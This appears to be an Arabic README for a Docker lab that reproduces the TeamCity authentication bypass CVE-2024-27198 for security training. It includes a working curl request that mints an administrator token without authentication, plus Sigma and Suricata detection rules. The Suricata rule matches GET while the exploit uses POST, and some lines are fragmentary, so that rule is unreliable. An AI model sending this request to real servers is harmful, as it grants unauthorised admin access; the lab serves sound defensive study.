
مختبر قائم على Docker لـ CVE-2024-27198 تجاوز المصادقة في TeamCity. يتضمن إعادة إنتاج الثغرة، وصيد مؤشرات الاختراق باستخدام قواعد Sigma/Suricata، وتمارين كشف للفريق الأزرق للتدريب الأمني.
يوفر TeamCity صفحة خاصة بالمسؤول لإدارة الرموز المميزة (tokens) غير محمية بواسطة المصادقة. هذا يسمح لمستخدم غير مصادق بتوليد رمز مميز لمستخدم المسؤول إذا تمكن من العثور على معرف (ID) مستخدم موجود.
تقع الثغرة في آلية توجيه REST API. من خلال إضافة أحرف محددة (مثل ?jsp=/app/rest/...;.jsp) إلى نقطة نهاية غير مصادقة، يمكن للمهاجمين خداع خادم الويب TeamCity لتوجيه الطلب إلى نقطة نهاية مصادقة مع تجاوز مرشحات الأمان. هذا لا يتطلب أي معرفة أو وصول مسبق، مما يجعله نقاءً 9.8 CVSS.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
الوصول إلى مثيل TeamCity الضعيف على http://localhost:8111. الوصول إلى مثيل TeamCity المصحح على http://localhost:8112.
اسم المستخدم:
admin
كلمة المرور:
admin
طلب GET لمورد دون مصادقة:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
يجب أن يعود كلاهما بخطأ مع رمز الحالة 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
يجب أن يعيد رمزًا مميزًا مثل هذا (الرمز مختلف في كل مرة):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
يجب أن يعيد خطأ مع رمز الحالة 401 لأن المثيل المصحح لا يحتوي على الثغرة.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
يجب أن يعيد قائمة المستخدمين.
أثناء العرض التوضيحي على المختبر، يمكنك إظهار اكتشاف كبير للفريق الأزرق: بشكل افتراضي، هذه الثغرة خفية بشكل لا يصدق!
;.jsp غير مسجلة.إذن كيف نمسك به؟ عندما ينظف المهاجم آثاره! عندما يحذف المهاجم رمزه الوهمي ليخفيها، يقوم TeamCity بتسجيل ذلك.
ابحث عن المهاجم وهو يغطي آثاره في سجلات التدقيق:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(سترى إدخال سجل يشير إلى حذف الرمز "REDTEAM").
docker compose -f docker-compose.yml down
هذه الثغرة هي حالة من CWE-288: تجاوز المصادقة باستخدام مسار أو قناة بديلة.
الخطأ ينبع من مشكلة ارتباك في المسار بين خادم الويب Tomcat وموجه تطبيقات TeamCity. من خلال إلحاق ;.jsp وتمرير نقطة نهاية REST API المستهدفة في المعامل jsp=، يفسر مرشح الأمان الأولي الطلب كطلب غير مصادق إلى ملف عام .jsp (وهو مسموح). لكن الموجه الداخلي يزيل ;.jsp ويعيد توجيه الطلب إلى نقطة النهاية المقيدة /app/rest/ دون تطبيق مرشح المصادقة.
حالة الاستخدام المشروعة (لماذا يُسمح بـ ;؟):
يستخدم Tomcat الفاصلة المنقوطة (;) لـ معاملات المصفوفة. تاريخياً، تُستخدم هذه الآلية لتمرير معاملات مباشرة داخل المسار، مثل إلحاق JSESSIONID للحفاظ على حالة جلسة المستخدم عند تعطيل ملفات تعريف الارتباط. هذا السلوك الطبيعي المشروع لخادم الويب، إلى جانب التحقق غير الصحيح من موجه تطبيقات TeamCity، هو ما يخلق الثغرة.
للكشف عن اختراق جارٍ أو سابق، يجب على الفرق الزرقاء البحث عن:
/app/rest/ ولكنها تحتوي على السلسلة الشاذة ;.jsp في URI.teamcity-server.log): توليد غير مفسر لرموز مميزة أو إنشاء حسابات إدارية جديدة.لأن الاستغلال الأولي خفي بشكل افتراضي، يجب على الفرق الزرقاء الاعتماد على اكتشاف إجراءات المهاجم بعد الاستغلال، مثل تنظيف آثاره. إليك قاعدة Sigma لنظام SIEM الخاص بك لاكتشاف عمليات حذف الرمز المشبوهة:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
لإثبات أن هذا الكشف يعمل، قم بتشغيل النص البرمجي siem_simulator.py.
docker compose up -d).python3 siem_simulator.py
للكشف عن محاولة الاستغلال هذه على الشبكة، يمكن لمركز العمليات الأمنية (SOC) تنفيذ قاعدة IDS التالية، التي تبحث عن النمط الشاذ ;.jsp المقترن بمسارات REST API:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
لإثبات أن التخفيف يعمل، يمكنك إطلاق نفس الحمولة الاستغلالية ضد حاوية TeamCity المصححة التي تعمل على المنفذ 8112:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
لأن التصحيح يفرض مطابقة المسار بشكل صارم وينظف معاملات المصفوفة بشكل صحيح، فسوف يفشل التجاوز. يجب أن ترى إجابة 401 غير مصرح أو 404 غير موجود بدلاً من رمز مميز مولّد.